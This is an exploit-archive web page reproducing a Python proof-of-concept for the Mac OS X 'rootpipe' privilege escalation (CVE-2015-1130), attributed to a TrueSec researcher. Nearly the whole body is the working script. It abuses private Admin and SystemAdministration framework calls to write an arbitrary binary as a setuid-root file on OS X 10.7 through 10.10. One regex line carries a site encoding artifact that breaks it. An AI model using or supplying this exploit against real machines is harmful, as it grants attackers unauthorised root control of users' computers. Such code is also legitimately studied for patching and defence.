首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Mac OS X rootpipe Local Privilege Escalation
来源:vfocus.net 作者:Kvarnhammar 发布时间:2015-04-10  
########################################################
#
#  PoC exploit code for rootpipe (CVE-2015-1130)
#
#  Created by Emil Kvarnhammar, TrueSec
#
#  Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
#
########################################################
import os
import sys
import platform
import re
import ctypes
import objc
import sys
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
from Foundation import NSAutoreleasePool
 
def load_lib(append_path):
    return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);
 
def use_old_api():
    return re.match("^(10.7|10.8)(.\d)?___FCKpd___0quot;, platform.mac_ver()[0])
 
 
args = sys.argv
 
if len(args) != 3:
    print "usage: exploit.py source_binary dest_binary_as_root"
    sys.exit(-1)
 
source_binary = args[1]
dest_binary = os.path.realpath(args[2])
 
if not os.path.exists(source_binary):
    raise Exception("file does not exist!")
 
pool = NSAutoreleasePool.alloc().init()
 
attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)
 
print "will write file", dest_binary
 
if use_old_api():
    adm_lib = load_lib("/Admin.framework/Admin")
    Authenticator = objc.lookUpClass("Authenticator")
    ToolLiaison = objc.lookUpClass("ToolLiaison")
    SFAuthorization = objc.lookUpClass("SFAuthorization")
 
    authent = Authenticator.sharedAuthenticator()
    authref = SFAuthorization.authorization()
 
    # authref with value nil is not accepted on OS X <= 10.8
    authent.authenticateUsingAuthorizationSync_(authref)
    st = ToolLiaison.sharedToolLiaison()
    tool = st.tool()
    tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
else:
    adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
    WriteConfigClient = objc.lookUpClass("WriteConfigClient")
    client = WriteConfigClient.sharedClient()
    client.authenticateUsingAuthorizationSync_(None)
    tool = client.remoteProxy()
 
    tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
 
 
print "Done!"
 
del pool


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Samba CVE-2015-0240 远程代码执
·Barracuda Firmware <= 5.0.0.01
·Airties Air5650v3TT Remote Sta
·Elipse SCADA 2.29 b141 - DLL H
·Solarwinds Firewall Security M
·Mac OS X Rootpipe Privilege Es
·JBoss Seam 2 File Upload and E
·Adobe Flash Player casi32 Inte
·w3tw0rk / Pitbull Perl IRC Bot
·Linux Kernel splice() System C
·Webgate WESP SDK 1.2 ChangePas
·JBoss AS versions 3/4/5/6 - Re
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved